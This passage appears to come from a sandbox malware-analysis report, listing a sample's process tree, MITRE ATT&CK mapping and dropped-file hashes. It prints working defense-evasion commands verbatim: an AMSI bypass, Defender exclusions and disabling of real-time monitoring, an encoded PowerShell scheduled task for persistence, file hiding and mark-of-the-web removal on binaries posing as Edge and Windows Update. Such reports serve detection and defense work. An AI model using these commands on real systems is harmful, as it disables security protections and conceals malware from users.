    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:4816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3244
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2128
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:4496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5008
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe"
    3⤵
    - Views/modifies file attributes
    PID:4680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5112
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier"
    3⤵
    PID:4736

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4452

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4800

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:1888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 1212" /nh 2>nul"
  2⤵
  PID:2924
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1212" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:1920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:1720
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:1412

C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 1212" /nh 2>nul"
  2⤵
  PID:228
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1212" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:2520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:3584
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3908

C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 1212" /nh 2>nul"
  2⤵
  PID:4840
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1212" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:1428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:3340
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:4124

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 1212" /nh 2>nul"
  2⤵
  PID:3628
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 1212" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:4968
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
MD5 22e796539d05c5390c21787da1fb4c2b
SHA1 55320ebdedd3069b2aaf1a258462600d9ef53a58
SHA512 d9cc0cb22df56db72a71504bb3ebc36697e0a7a1d2869e0e0ab61349bda603298fe6c667737b79bf2235314fb49b883ba4c5f137d002e273e79391038ecf9c09
TLSH
T15061DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftEdgeUpdate.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier
Size 26B
SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
MD5 cb9db8b13f2e7d1ae122b5b6c2381b25
SHA1 ea06df82dba8cc567e95c43e6214872e52fdb05b
SHA512 937778c5cd8c35ec2a0811856214ad95446b14f91c306632117e9bc79740b5baa57c2051ba21765acbf0fced496ca547a08b8bdda85d8c8b700a44826a602ed0
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 724747c22fc3078936cc5ef340579997d141d26721e6bbc2c2ffb5fff48895a7
MD5 2c158907b8d8b3278830b2ad8d808f23
SHA1 39772888ffac8643a4b99fb0c51838e3de809d4f
SHA512 00e66e10e1aa130b2b2952fecedd479a312cef5df712da1802827a807bb23078dbc525fe6c6d8693a1addd35070351dc48e602b9be98b4b2796446299e796136
SSDEEP 1536:KflJdah4iUxFYkiv5afKQGUpeE711kDa5ljNC+jH0IMZMfYo0gV3CNBQkj2pOdBh:KflJdaqiUFYkiv5afKQGUpeE711kDa50
TLSH
T13C538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download